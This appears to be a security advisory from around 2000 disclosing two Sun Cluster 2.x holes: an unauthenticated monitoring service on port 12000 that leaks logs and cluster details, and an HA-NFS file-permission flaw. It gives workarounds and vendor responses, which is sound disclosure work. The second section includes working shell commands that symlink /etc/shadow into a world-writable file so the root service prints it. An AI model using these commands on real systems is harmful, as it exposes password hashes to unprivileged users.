Hole #1

-------



Summary

-------



Sun Cluster 2.x (Sun Microsystems' commercial high-availability product

for Solaris) leaks potentially sensitive information to local or remote

users.



Specifics

---------



In a standard Sun Cluster install, there is a service called clustmon that

runs on port 12000. It is used by the cluster's administrative tool

(hastat) for the exchange of information between cluster nodes. However,

the service doesn't do any kind of authentication whatsoever, and can be

used by any host which can connect to it to gain access to some fairly

sensitive data. It also has some amusing undocumented features. The syntax

used interactively is very similar to sendmail's help syntax, but if you

can't figure it out, the service will happily hold your hand:



echo8:{501} telnet foobar 12000

Trying 192.168.0.1...

Connected to foobar.

Escape character is '^]'.

220  foobar Monitor server version SC 2.1 (98/5/13 V2.1+) (Debug) ready.

help

214- The following commands are recognized:

214- NOOP                       - does nothing

214- QUIT                       - closes this connection

214- PORT inetaddr port         - data addr/port as a sequence of 6 numbers

214- DATE BEGINNING             - start at beginning of time

214- DATE NEW                   - start now

214- DATE CURRENT               - start with current logfile

214- DATE AFTER       - specify a starting date

214- DATE AFTER  LOOP - wait for new entries to be appended to

logfile

214- OPEN servicename           - initiate a data stream

214- CLOS servicename           - shut down a data stream

214- HELP                       - show this list

214  Direct comments to cluster-help@sun.com.



"open syslog" will echo out the entire contents of /var/adm/messages.



"open haconfig" will provide a listing of all of the other cluster nodes,

the names of each registered data service and logical host, full paths to

your start and stop methods, and the current state of your data services

and logical hosts.



Because in.mond runs as root out of inet, both commands will succeed

regardless of the local permissions on /var/adm/messages or the CCD

database. Even if you choose NOT to make this information available to

local users by putting restrictive permissions on the relevant files,

remote users can still access it.



"open hastat" will provide all of the information usually provided to

local superusers via /opt/SUNWcluster/bin/hastat, including:



* uptime of hosts

* status of public and private networks

* names and current locations of logical hosts

* state of HA monitoring on each logical host

* States of NAFO groups, including times of most recent failovers



It's interesting to note that the (local) hastat command is restricted to

the superuser. However, the network service is universally accessible.



"open sesame" will tell you that the cave is still blocked (I'm serious,

try it).



All of this information is available to ANY host which can connect to the

aforementioned port with a telnet client. While none of this really

constitutes a compromise, it is the sort of information leakage which can

be useful intelligence for a would-be attacker.



Workaround

----------



One could trivially use tcp wrappers to keep unauthorized hosts away from

the port in question.



Vendor Response

---------------



The vendor was notified on October 31, 2000. When I contacted Sun and

opened a case, the individual who responded to my case dismissed the

problem by saying that "the product was not intended for use in hostile

environments or on networks that have untrusted users." Sun also suggested

that perhaps they will remove the help functions from upcoming versions.





Hole #2

-------



Summary

-------



The HA-NFS data service (a component of Sun Cluster 2.x) has a security

hole that can allow local users to read any file on the system, regardless

of the permissions on that file. In order to exploit the hole, a clustered

system must be using HA-NFS, and the attacker must have a local account.



Specifics

---------



On a host running HA-NFS, the file called

/var/opt/SUNWcluster/fm/fmstatus/nfs//status is created

by Sun Cluster with permissions set to 666.



The directory above it

(/var/opt/SUNWcluster/fm/fmstatus/nfs/) is created mode

777.



The status file is read by in.mond to display the status of the HA-NFS

service. in.mond follows symbolic links. in.mond is most commonly executed

when called by the hastat utility, which can only be run by the superuser.

However, as described in hole #1, any remote user can connect directly to

in.mond and make full use of it from a telnet client.



To exploit this hole to view a file to which he does not have read access,

a local (unprivileged) user can do the following:



$ cd /var/opt/SUNWcluster/fm/fmstatus/nfs/

$ rm status

$ ln -s /etc/shadow status

$ telnet localhost 12000

< once connected to the in.mond service>

open hastat



... and watch as the shadow file is read out to stdout ...



Workaround

----------



Change the permissions on the files in question. Use tcp wrappers to keep

unauthorized hosts away from in.mond.



Vendor Response

---------------



Sun was notified on November 22, 2000. They did respond, stating that they

are investigating. I have decided to publish this now because I believe

that almost a month should be enough time to produce at least a beta-level

patch or at least a timetable for a fix.